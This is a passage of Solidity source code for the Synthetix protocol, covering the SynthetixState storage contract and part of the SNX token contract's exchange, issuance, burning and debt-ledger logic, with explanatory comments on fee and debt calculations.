using it as its store of issuance data.
When a new contract is deployed, it links to the existing
state contract, whose owner would then change its associated
contract to the new one.
-----------------------------------------------------------------
*/
/**
* @title Synthetix State
* @notice Stores issuance information and preferred currency information of the Synthetix contract.
*/
contract SynthetixState is State, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
// A struct for handing values associated with an individual user's debt position
struct IssuanceData {
// Percentage of the total debt owned at the time
// of issuance. This number is modified by the global debt
// delta array. You can figure out a user's exit price and
// collateralisation ratio using a combination of their initial
// debt and the slice of global debt delta which applies to them.
uint initialDebtOwnership;
// This lets us know when (in relative terms) the user entered
// the debt pool so we can calculate their exit price and
// collateralistion ratio
uint debtEntryIndex;
}
// Issued synth balances for individual fee entitlements and exit price calculations
mapping(address => IssuanceData) public issuanceData;
// The total count of people that have outstanding issued synths in any flavour
uint public totalIssuerCount;
// Global debt pool tracking
uint[] public debtLedger;
// Import state
uint public importedXDRAmount;
// A quantity of synths greater than this ratio
// may not be issued against a given value of SNX.
uint public issuanceRatio = SafeDecimalMath.unit() / 5;
// No more synths may be issued than the value of SNX backing them.
uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit();
// Users can specify their preferred currency, in which case all synths they receive
// will automatically exchange to that preferred currency upon receipt in their wallet
mapping(address => bytes4) public preferredCurrency;
/**
* @dev Constructor
* @param _owner The address which controls this contract.
* @param _associatedContract The ERC20 contract whose state this composes.
*/
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
LimitedSetup(1 weeks)
public
{}
/* ========== SETTERS ========== */
/**
* @notice Set issuance data for an address
* @dev Only the associated contract may call this.
* @param account The address to set the data for.
* @param initialDebtOwnership The initial debt ownership for this address.
*/
function setCurrentIssuanceData(address account, uint initialDebtOwnership)
external
onlyAssociatedContract
{
issuanceData[account].initialDebtOwnership = initialDebtOwnership;
issuanceData[account].debtEntryIndex = debtLedger.length;
}
/**
* @notice Clear issuance data for an address
* @dev Only the associated contract may call this.
* @param account The address to clear the data for.
*/
function clearIssuanceData(address account)
external
onlyAssociatedContract
{
delete issuanceData[account];
}
/**
* @notice Increment the total issuer count
* @dev Only the associated contract may call this.
*/
function incrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.add(1);
}
/**
* @notice Decrement the total issuer count
* @dev Only the associated contract may call this.
*/
function decrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.sub(1);
}
/**
* @notice Append a value to the debt ledger
* @dev Only the associated contract may call this.
* @param value The new value to be added to the debt ledger.
*/
function appendDebtLedgerValue(uint value)
external
onlyAssociatedContract
{
debtLedger.push(value);
}
/**
* @notice Set preferred currency for a user
* @dev Only the associated contract may call this.
* @param account The account to set the preferred currency for
* @param currencyKey The new preferred currency
*/
function setPreferredCurrency(address account, bytes4 currencyKey)
external
onlyAssociatedContract
{
preferredCurrency[account] = currencyKey;
}
/**
* @notice Set the issuanceRatio for issuance calculations.
* @dev Only callable by the contract owner.
*/
function setIssuanceRatio(uint _issuanceRatio)
external
onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO");
issuanceRatio = _issuanceRatio;
emit IssuanceRatioUpdated(_issuanceRatio);
}
/**
* @notice Import issuer data from the old Synthetix contract before multicurrency
* @dev Only callable by the contract owner, and only for 1 week after deployment.
*/
function importIssuerData(address[] accounts, uint[] sUSDAmounts)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == sUSDAmounts.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
_addToDebtRegister(accounts[i], sUSDAmounts[i]);
}
}
/**
* @notice Import issuer data from the old Synthetix contract before multicurrency
* @dev Only used from importIssuerData above, meant to be disposable
*/
function _addToDebtRegister(address account, uint amount)
internal
{
// This code is duplicated from Synthetix so that we can call it directly here
// during setup only.
Synthetix synthetix = Synthetix(associatedContract);
// What is the value of the requested debt in XDRs?
uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR");
// What is the value that we've previously imported?
uint totalDebtIssued = importedXDRAmount;
// What will the new total be including the new value?
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
// Save that for the next import.
importedXDRAmount = newTotalDebtIssued;
// What is their percentage (as a high precision int) of the total debt?
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
// And what effect does this percentage have on the global debt holding of other issuers?
// The delta specifically needs to not take into account any existing debt as it's already
// accounted for in the delta from when they issued previously.
// The delta is a high precision integer.
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = synthetix.debtBalanceOf(account, "XDR");
// And what does their debt ownership look like including this previous stake?
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
// Are they a new issuer? If so, record them.
if (issuanceData[account].initialDebtOwnership == 0) {
totalIssuerCount = totalIssuerCount.add(1);
}
// Save the debt entry parameters
issuanceData[account].initialDebtOwnership = debtPercentage;
issuanceData[account].debtEntryIndex = debtLedger.length;
// And if we're the first, push 1 as there was no effect to any other holders, otherwise push
// the change for the rest of the debt holders. The debt ledger holds high precision integers.
if (debtLedger.length > 0) {
debtLedger.push(
debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta)
);
} else {
debtLedger.push(SafeDecimalMath.preciseUnit());
}
}
/* ========== VIEWS ========== */
/**
* @notice Retrieve the length of the debt ledger array
*/
function debtLedgerLength()
external
view
returns (uint)
{
return debtLedger.length;
}
/**
* @notice Retrieve the most recent entry from the debt ledger
*/
function lastDebtLedgerEntry()
external
view
returns (uint)
{
return debtLedger[debtLedger.length - 1];
}
/**
* @notice Query whether an account has issued and has an outstanding debt balance
* @param account The address to query for
*/
function hasIssued(address account)
external
view
returns (bool)
{
return issuanceData[account].initialDebtOwnership > 0;
}
event IssuanceRatioUpdated(uint newRatio);
}
/**
* @title SynthetixEscrow interface
*/
interface ISynthetixEscrow {
function balanceOf(address account) public view returns (uint);
function appendVestingEntry(address account, uint quantity) public;
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Synthetix.sol
version: 2.0
author: Kevin Brown
Gavin Conway
date: 2018-09-14
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
Synthetix token contract. SNX is a transferable ERC20 token,
and also give its holders the following privileges.
An owner of SNX has the right to issue synths in all synth flavours.
After a fee period terminates, the duration and fees collected for that
period are computed, and the next period begins. Thus an account may only
withdraw the fees owed to them for the previous period, and may only do
so once per period. Any unclaimed fees roll over into the common pot for
the next period.
== Average Balance Calculations ==
The fee entitlement of a synthetix holder is proportional to their average
issued synth balance over the last fee period. This is computed by
measuring the area under the graph of a user's issued synth balance over
time, and then when a new fee period begins, dividing through by the
duration of the fee period.
We need only update values when the balances of an account is modified.
This occurs when issuing or burning for issued synth balances,
and when transferring for synthetix balances. This is for efficiency,
and adds an implicit friction to interacting with SNX.
A synthetix holder pays for his own recomputation whenever he wants to change
his position, which saves the foundation having to maintain a pot dedicated
to resourcing this.
A hypothetical user's balance history over one fee period, pictorially:
s ____
| |
| |___ p
|____|___|___ __ _ _
f t n
Here, the balance was s between times f and t, at which time a transfer
occurred, updating the balance to p, until n, when the present transfer occurs.
When a new transfer occurs at time n, the balance being p,
we must:
- Add the area p * (n - t) to the total area recorded so far
- Update the last transfer time to n
So if this graph represents the entire current fee period,
the average SNX held so far is ((t-f)*s + (n-t)*p) / (n-f).
The complementary computations must be performed for both sender and
recipient.
Note that a transfer keeps global supply of SNX invariant.
The sum of all balances is constant, and unmodified by any transfer.
So the sum of all balances multiplied by the duration of a fee period is also
constant, and this is equivalent to the sum of the area of every user's
time/balance graph. Dividing through by that duration yields back the total
synthetix supply. So, at the end of a fee period, we really do yield a user's
average share in the synthetix supply over that period.
A slight wrinkle is introduced if we consider the time r when the fee period
rolls over. Then the previous fee period k-1 is before r, and the current fee
period k is afterwards. If the last transfer took place before r,
but the latest transfer occurred afterwards:
k-1 | k
s __|_
| | |
| | |____ p
|__|_|____|___ __ _ _
|
f | t n
r
In this situation the area (r-f)*s contributes to fee period k-1, while
the area (t-r)*s contributes to fee period k. We will implicitly consider a
zero-value transfer to have occurred at time r. Their fee entitlement for the
previous period will be finalised at the time of their first transfer during the
current fee period, or when they query or withdraw their fee entitlement.
In the implementation, the duration of different fee periods may be slightly irregular,
as the check that they have rolled over occurs only when state-changing synthetix
operations are performed.
== Issuance and Burning ==
In this version of the synthetix contract, synths can only be issued by
those that have been nominated by the synthetix foundation. Synths are assumed
to be valued at $1, as they are a stable unit of account.
All synths issued require a proportional value of SNX to be locked,
where the proportion is governed by the current issuance ratio. This
means for every $1 of SNX locked up, $(issuanceRatio) synths can be issued.
i.e. to issue 100 synths, 100/issuanceRatio dollars of SNX need to be locked up.
To determine the value of some amount of SNX(S), an oracle is used to push
the price of SNX (P_S) in dollars to the contract. The value of S
would then be: S * P_S.
Any SNX that are locked up by this issuance process cannot be transferred.
The amount that is locked floats based on the price of SNX. If the price
of SNX moves up, less SNX are locked, so they can be issued against,
or transferred freely. If the price of SNX moves down, more SNX are locked,
even going above the initial wallet balance.
-----------------------------------------------------------------
*/
/**
* @title Synthetix ERC20 contract.
* @notice The Synthetix contracts not only facilitates transfers, exchanges, and tracks balances,
* but it also computes the quantity of fees each synthetix holder is entitled to.
*/
contract Synthetix is ExternStateToken {
// ========== STATE VARIABLES ==========
// Available Synths which can be used with the system
Synth[] public availableSynths;
mapping(bytes4 => Synth) public synths;
IFeePool public feePool;
ISynthetixEscrow public escrow;
ISynthetixEscrow public rewardEscrow;
ExchangeRates public exchangeRates;
SynthetixState public synthetixState;
SupplySchedule public supplySchedule;
bool private protectionCircuit = false;
string constant TOKEN_NAME = "Synthetix Network Token";
string constant TOKEN_SYMBOL = "SNX";
uint8 constant DECIMALS = 18;
bool public exchangeEnabled = true;
// ========== CONSTRUCTOR ==========
/**
* @dev Constructor
* @param _tokenState A pre-populated contract containing token balances.
* If the provided address is 0x0, then a fresh one will be constructed with the contract owning all tokens.
* @param _owner The owner of this contract.
*/
constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState,
address _owner, ExchangeRates _exchangeRates, IFeePool _feePool, SupplySchedule _supplySchedule,
ISynthetixEscrow _rewardEscrow, ISynthetixEscrow _escrow, uint _totalSupply
)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, _totalSupply, DECIMALS, _owner)
public
{
synthetixState = _synthetixState;
exchangeRates = _exchangeRates;
feePool = _feePool;
supplySchedule = _supplySchedule;
rewardEscrow = _rewardEscrow;
escrow = _escrow;
}
// ========== SETTERS ========== */
function setFeePool(IFeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
}
function setExchangeRates(ExchangeRates _exchangeRates)
external
optionalProxy_onlyOwner
{
exchangeRates = _exchangeRates;
}
function setProtectionCircuit(bool _protectionCircuitIsActivated)
external
onlyOracle
{
protectionCircuit = _protectionCircuitIsActivated;
}
function setExchangeEnabled(bool _exchangeEnabled)
external
optionalProxy_onlyOwner
{
exchangeEnabled = _exchangeEnabled;
}
/**
* @notice Add an associated Synth contract to the Synthetix system
* @dev Only the contract owner may call this.
*/
function addSynth(Synth synth)
external
optionalProxy_onlyOwner
{
bytes4 currencyKey = synth.currencyKey();
require(synths[currencyKey] == Synth(0), "Synth already exists");
availableSynths.push(synth);
synths[currencyKey] = synth;
}
/**
* @notice Remove an associated Synth contract from the Synthetix system
* @dev Only the contract owner may call this.
*/
function removeSynth(bytes4 currencyKey)
external
optionalProxy_onlyOwner
{
require(synths[currencyKey] != address(0), "Synth does not exist");
require(synths[currencyKey].totalSupply() == 0, "Synth supply exists");
require(currencyKey != "XDR", "Cannot remove XDR synth");
// Save the address we're removing for emitting the event at the end.
address synthToRemove = synths[currencyKey];
// Remove the synth from the availableSynths array.
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == synthToRemove) {
delete availableSynths[i];
// Copy the last synth into the place of the one we just deleted
// If there's only one synth, this is synths[0] = synths[0].
// If we're deleting the last one, it's also a NOOP in the same way.
availableSynths[i] = availableSynths[availableSynths.length - 1];
// Decrease the size of the array by one.
availableSynths.length--;
break;
}
}
// And remove it from the synths mapping
delete synths[currencyKey];
// Note: No event here as our contract exceeds max contract size
// with these events, and it's unlikely people will need to
// track these events specifically.
}
// ========== VIEWS ==========
/**
* @notice A function that lets you easily convert an amount in a source currency to an amount in the destination currency
* @param sourceCurrencyKey The currency the amount is specified in
* @param sourceAmount The source amount, specified in UNIT base
* @param destinationCurrencyKey The destination currency
*/
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
returns (uint)
{
return exchangeRates.effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey);
}
/**
* @notice Total amount of synths issued by the system, priced in currencyKey
* @param currencyKey The currency to value the synths in
*/
function totalIssuedSynths(bytes4 currencyKey)
public
view
rateNotStale(currencyKey)
returns (uint)
{
uint total = 0;
uint currencyRate = exchangeRates.rateForCurrency(currencyKey);
require(!exchangeRates.anyRateIsStale(availableCurrencyKeys()), "Rates are stale");
for (uint8 i = 0; i < availableSynths.length; i++) {
// What's the total issued value of that synth in the destination currency?
// Note: We're not using our effectiveValue function because we don't want to go get the
// rate for the destination currency and check if it's stale repeatedly on every
// iteration of the loop
uint synthValue = availableSynths[i].totalSupply()
.multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey()))
.divideDecimalRound(currencyRate);
total = total.add(synthValue);
}
return total;
}
/**
* @notice Returns the currencyKeys of availableSynths for rate checking
*/
function availableCurrencyKeys()
public
view
returns (bytes4[])
{
bytes4[] memory availableCurrencyKeys = new bytes4[](availableSynths.length);
for (uint8 i = 0; i < availableSynths.length; i++) {
availableCurrencyKeys[i] = availableSynths[i].currencyKey();
}
return availableCurrencyKeys;
}
/**
* @notice Returns the count of available synths in the system, which you can use to iterate availableSynths
*/
function availableSynthCount()
public
view
returns (uint)
{
return availableSynths.length;
}
// ========== MUTATIVE FUNCTIONS ==========
/**
* @notice ERC20 transfer function.
*/
function transfer(address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transfer(to, value, empty);
}
/**
* @notice ERC223 transfer function. Does not conform with the ERC223 spec, as:
* - Transaction doesn't revert if the recipient doesn't implement tokenFallback()
* - Emits a standard ERC20 event without the bytes data parameter so as not to confuse
* tooling such as Etherscan.
*/
function transfer(address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
// Ensure they're not trying to exceed their locked amount
require(value <= transferableSynthetix(messageSender), "Insufficient balance");
// Perform the transfer: if there is a problem an exception will be thrown in this call.
_transfer_byProxy(messageSender, to, value, data);
return true;
}
/**
* @notice ERC20 transferFrom function.
*/
function transferFrom(address from, address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transferFrom(from, to, value, empty);
}
/**
* @notice ERC223 transferFrom function. Does not conform with the ERC223 spec, as:
* - Transaction doesn't revert if the recipient doesn't implement tokenFallback()
* - Emits a standard ERC20 event without the bytes data parameter so as not to confuse
* tooling such as Etherscan.
*/
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
// Ensure they're not trying to exceed their locked amount
require(value <= transferableSynthetix(from), "Insufficient balance");
// Perform the transfer: if there is a problem,
// an exception will be thrown in this call.
_transferFrom_byProxy(messageSender, from, to, value, data);
return true;
}
/**
* @notice Function that allows you to exchange synths you hold in one flavour for another.
* @param sourceCurrencyKey The source currency you wish to exchange from
* @param sourceAmount The amount, specified in UNIT of source currency you wish to exchange
* @param destinationCurrencyKey The destination currency you wish to obtain.
* @param destinationAddress Deprecated. Will always send to messageSender
* @return Boolean that indicates whether the transfer succeeded or failed.
*/
function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress)
external
optionalProxy
// Note: We don't need to insist on non-stale rates because effectiveValue will do it for us.
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths");
require(sourceAmount > 0, "Zero amount");
// If protectionCircuit is true then we burn the synths through _internalLiquidation()
if (protectionCircuit) {
return _internalLiquidation(
messageSender,
sourceCurrencyKey,
sourceAmount
);
} else {
// Pass it along, defaulting to the sender as the recipient.
return _internalExchange(
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
messageSender,
true // Charge fee on the exchange
);
}
}
/**
* @notice Function that allows synth contract to delegate exchanging of a synth that is not the same sourceCurrency
* @dev Only the synth contract can call this function
* @param from The address to exchange / burn synth from
* @param sourceCurrencyKey The source currency you wish to exchange from
* @param sourceAmount The amount, specified in UNIT of source currency you wish to exchange
* @param destinationCurrencyKey The destination currency you wish to obtain.
* @param destinationAddress Where the result should go.
* @return Boolean that indicates whether the transfer succeeded or failed.
*/
function synthInitiatedExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress
)
external
onlySynth
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth");
require(sourceAmount > 0, "Zero amount");
// Pass it along
return _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress,
false // Don't charge fee on the exchange, as they've already been charged a transfer fee in the synth contract
);
}
/**
* @notice Function that allows synth contract to delegate sending fee to the fee Pool.
* @dev Only the synth contract can call this function.
* @param from The address fee is coming from.
* @param sourceCurrencyKey source currency fee from.
* @param sourceAmount The amount, specified in UNIT of source currency.
* @return Boolean that indicates whether the transfer succeeded or failed.
*/
function synthInitiatedFeePayment(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount
)
external
onlySynth
returns (bool)
{
// Allow fee to be 0 and skip minting XDRs to feePool
if (sourceAmount == 0) {
return true;
}
require(sourceAmount > 0, "Source can't be 0");
// Pass it along, defaulting to the sender as the recipient.
bool result = _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
"XDR",
feePool.FEE_ADDRESS(),
false // Don't charge a fee on the exchange because this is already a fee
);
// Tell the fee pool about this.
feePool.feePaid(sourceCurrencyKey, sourceAmount);
return result;
}
/**
* @notice Function that allows synth contract to delegate sending fee to the fee Pool.
* @dev fee pool contract address is not allowed to call function
* @param from The address to move synth from
* @param sourceCurrencyKey source currency from.
* @param sourceAmount The amount, specified in UNIT of source currency.
* @param destinationCurrencyKey The destination currency to obtain.
* @param destinationAddress Where the result should go.
* @param chargeFee Boolean to charge a fee for transaction.
* @return Boolean that indicates whether the transfer succeeded or failed.
*/
function _internalExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress,
bool chargeFee
)
internal
notFeeAddress(from)
returns (bool)
{
require(exchangeEnabled, "Exchanging is disabled");
require(!exchangeRates.priceUpdateLock(), "Price update lock");
require(destinationAddress != address(0), "Zero destination");
require(destinationAddress != address(this), "Synthetix is invalid destination");
require(destinationAddress != address(proxy), "Proxy is invalid destination");
// Note: We don't need to check their balance as the burn() below will do a safe subtraction which requires
// the subtraction to not overflow, which would happen if their balance is not sufficient.
// Burn the source amount
synths[sourceCurrencyKey].burn(from, sourceAmount);
// How much should they get in the destination currency?
uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey);
// What's the fee on that currency that we should deduct?
uint amountReceived = destinationAmount;
uint fee = 0;
if (chargeFee) {
amountReceived = feePool.amountReceivedFromExchange(destinationAmount);
fee = destinationAmount.sub(amountReceived);
}
// Issue their new synths
synths[destinationCurrencyKey].issue(destinationAddress, amountReceived);
// Remit the fee in XDRs
if (fee > 0) {
uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR");
synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount);
// Tell the fee pool about this.
feePool.feePaid("XDR", xdrFeeAmount);
}
// Nothing changes as far as issuance data goes because the total value in the system hasn't changed.
// Call the ERC223 transfer callback if needed
synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived);
//Let the DApps know there was a Synth exchange
emitSynthExchange(from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, amountReceived, destinationAddress);
return true;
}
/**
* @notice Function that burns the amount sent during an exchange in case the protection circuit is activated
* @param from The address to move synth from
* @param sourceCurrencyKey source currency from.
* @param sourceAmount The amount, specified in UNIT of source currency.
* @return Boolean that indicates whether the transfer succeeded or failed.
*/
function _internalLiquidation(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount
)
internal
returns (bool)
{
// Burn the source amount
synths[sourceCurrencyKey].burn(from, sourceAmount);
return true;
}
/**
* @notice Function that registers new synth as they are isseud. Calculate delta to append to synthetixState.
* @dev Only internal calls from synthetix address.
* @param currencyKey The currency to register synths in, for example sUSD or sAUD
* @param amount The amount of synths to register with a base of UNIT
*/
function _addToDebtRegister(bytes4 currencyKey, uint amount)
internal
optionalProxy
{
// What is the value of the requested debt in XDRs?
uint xdrValue = effectiveValue(currencyKey, amount, "XDR");
// What is the value of all issued synths of the system (priced in XDRs)?
uint totalDebtIssued = totalIssuedSynths("XDR");
// What will the new total be including the new value?
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
// What is their percentage (as a high precision int) of the total debt?
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
// And what effect does this percentage change have on the global debt holding of other issuers?
// The delta specifically needs to not take into account any existing debt as it's already
// accounted for in the delta from when they issued previously.
// The delta is a high precision integer.
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
// How much existing debt do they have?
uint existingDebt = debtBalanceOf(messageSender, "XDR");
// And what does their debt ownership look like including this previous stake?
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
// Are they a new issuer? If so, record them.
if (!synthetixState.hasIssued(messageSender)) {
synthetixState.incrementTotalIssuerCount();
}
// Save the debt entry parameters
synthetixState.setCurrentIssuanceData(messageSender, debtPercentage);
// And if we're the first, push 1 as there was no effect to any other holders, otherwise push
// the change for the rest of the debt holders. The debt ledger holds high precision integers.
if (synthetixState.debtLedgerLength() > 0) {
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
} else {
synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit());
}
}
/**
* @notice Issue synths against the sender's SNX.
* @dev Issuance is only allowed if the synthetix price isn't stale. Amount should be larger than 0.
* @param currencyKey The currency you wish to issue synths in, for example sUSD or sAUD
* @param amount The amount of synths you wish to issue with a base of UNIT
*/
function issueSynths(bytes4 currencyKey, uint amount)
public
optionalProxy
// No need to check if price is stale, as it is checked in issuableSynths.
{
require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large");
// Keep track of the debt they're about to create
_addToDebtRegister(currencyKey, amount);
// Create their synths
synths[currencyKey].issue(messageSender, amount);
// Store their locked SNX amount to determine their fee % for the period
_appendAccountIssuanceRecord();
}
/**
* @notice Issue the maximum amount of Synths possible against the sender's SNX.
* @dev Issuance is only allowed if the synthetix price isn't stale.
* @param currencyKey The currency you wish to issue synths in, for example sUSD or sAUD
*/
function issueMaxSynths(bytes4 currencyKey)
external
optionalProxy
{
// Figure out the maximum we can issue in that currency
uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey);
// And issue them
issueSynths(currencyKey, maxIssuable);
}
/**
* @notice Burn synths to clear issued synths/free SNX.
* @param currencyKey The currency you're specifying to burn
* @param amount The amount (in UNIT base) you wish to burn
* @dev The amount to burn is debased to XDR's
*/
function burnSynths(bytes4 currencyKey, uint amount)
external
optionalProxy
// No need to check for stale rates as effectiveValue checks rates
{
// How much debt do they have?
uint debtToRemove = effectiveValue(currencyKey, amount, "XDR");
uint debt = debtBalanceOf(messageSender, "XDR");
uint debtInCurrencyKey = debtBalanceOf(messageSender, currencyKey);
require(debt > 0, "No debt to forgive");
// If they're trying to burn more debt than they actually owe, rather than fail the transaction, let's just
// clear their debt and leave them be.
uint amountToRemove = debt < debtToRemove ? debt : debtToRemove;
// Remove their debt from the ledger
_removeFromDebtRegister(amountToRemove);
uint amountToBurn = debtInCurrencyKey < amount ? debtInCurrencyKey : amount;
// synth.burn does a safe subtraction on balance (so it will revert if there are not enough synths).
synths[currencyKey].burn(messageSender, amountToBurn);
// Store their debtRatio against a feeperiod to determine their fee/rewards % for the period
_appendAccountIssuanceRecord();
}
/**
* @notice Store in the FeePool the users current debt value in the system in XDRs.
* @dev debtBalanceOf(messageSender, "XDR") to be used with totalIssuedSynths("XDR") to get
* users % of the system within a feePeriod.
*/
function _appendAccountIssuanceRecord()
internal
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(messageSender);
feePool.appendAccountIssuanceRecord(
messageSender,
initialDebtOwnership,
debtEntryIndex
);
}
/**
* @notice Remove a debt position from the register
* @param amount The amount (in UNIT base) being presented in XDRs
*/
function _removeFromDebtRegister(uint amount)
internal
{
uint debtToRemove = amount;
// How much debt do they have?
uint existingDebt = debtBalanceOf(messageSender, "XDR");
// What is the value of all issued synths of the system (priced in XDRs)?
uint totalDebtIssued = totalIssuedSynths("XDR");
// What will the new total after taking out the withdrawn amount
uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove);
uint delta;
// What will the debt delta be if there is any debt left?
// Set delta to 0 if no more debt left in system after user
if (newTotalDebtIssued > 0) {
// What is the percentage of the withdrawn debt (as a high precision int) of the total debt after?
uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(newTotalDebtIssued);
// And what effect does this percentage change have on the global debt holding of other issuers?
// The delta specifically needs to not take into account any existing debt as it's already
// accounted for in the delta from when they issued previously.
delta = SafeDecimalMath.preciseUnit().add(debtPercentage);
} else {
delta = 0;
}
// Are they exiting the system, or are they just decreasing their debt position?
if (debtToRemove == existingDebt) {
synthetixState.setCurrentIssuanceData(messageSender, 0);
synthetixState.decrementTotalIssuerCount();
} else {
// What percentage of the debt will they be left with?
uint newDebt = existingDebt.sub(debtToRemove);
uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued);
// Store the debt percentage and debt ledger as high precision integers
synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage);
}
// Update our cumulative ledger. This is also a high precision integer.
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
}
// ========== Issuance/Burning ==========
/**
* @notice The maximum synths an issuer can issue against their total synthetix quantity, priced in XDRs.
* This ignores any already issued synths, and is purely giving you the maximimum amount the user can issue.
*/
function maxIssuableSynths(address issuer, bytes4 currencyKey)
public
view
// We don't need to check stale rates here as effectiveValue will do it for us.
returns (uint)
{
// What is the value of their SNX balance in the destination currency?
uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey);
// They're allowed to issue up to issuanceRatio of that value
return destinationValue.multiplyDecimal(synthetixState.issuanceRatio());
}
/**
* @notice The current collateralisation ratio for a user. Collateralisation ratio varies over time
* as the value of the underlying Synthetix asset changes, e.g. if a user issues their maximum available
* synths when they hold $10 worth of Synthetix, they will have issued $2 worth of synths. If the value
* of Synthetix changes, the ratio returned by this function will adjust accordlingly. Users are
* incentivised to maintain a collateralisation ratio as close to the issuance ratio as possible by
* altering the amount of fees they're able to claim from the system.
*/
function collateralisationRatio(address issuer)
public
view
returns (uint)
{
uint totalOwnedSynthetix = collateral(issuer);
if (totalOwnedSynthetix == 0) return 0;
uint debtBalance = debtBalanceOf(issuer, "SNX");
return debtBalance.divideDecimalRound(totalOwnedSynthetix);
}
/**
* @notice If a user issues synths backed by SNX in their wallet, the SNX become locked. This function
* will tell you how many synths a user has to give back to the system in order to unlock their original
* debt position. This is priced in whichever synth is passed in as a currency key, e.g. you can price
* the debt in sUSD, XDR, or any other synth you wish.
*/
function debtBalanceOf(address issuer, bytes4 currencyKey)
public
view
// Don't need to check for stale rates here because totalIssuedSynths will do it for us
returns (uint)
{
// What was their initial debt ownership?
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer);
// If it's zero, they haven't issued, and they have no debt.
if (initialDebtOwnership == 0) return 0;
// Figure out the global debt percentage delta from when they entered the system.
// This is a high precision integer.
uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry()
.divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex))
.multiplyDecimalRoundPrecise(initialDebtOwnership);
// What's the total value of the system in their requested currency?
uint totalSystemValue = totalIssuedSynths(currencyKey);
// Their debt balance is their portion of the total system value.
uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal()
.multiplyDecimalRoundPrecise(currentDebtOwnership);
return highPrecisionBalance.preciseDecimalToDecimal();
}
/**
* @notice The remaining synths an issuer can issue against their total synthetix balance.
* @param issuer The account that intends to issue
* @param currencyKey The currency to price issuable value in
*/
function remainingIssuableSynths(address issuer, bytes4 currencyKey)
public
view
// Don't need to check for synth existing or stale rates because maxIssuableSynths will do it for us.
returns (uint)
{
uint alreadyIssued = debtBalanceOf(issuer, currencyKey);
uint max = maxIssuableSynths(issuer, currencyKey);
if (alreadyIssued >= max) {
return 0;
} else {
return max.sub(alreadyIssued);
}
}
/**
* @notice The total SNX owned by this account, both escrowed and unescrowed,
* against which synths can be issued.
* This includes those already being used as collateral (locked), and those
* available for further issuance (unlocked).
*/
function collateral(address account)
public
view
returns (uint)
{
uint balance = tokenState.balanceOf(account);
if (escrow != address(0)) {
balance = balance.add(escrow.balanceOf(account));
}
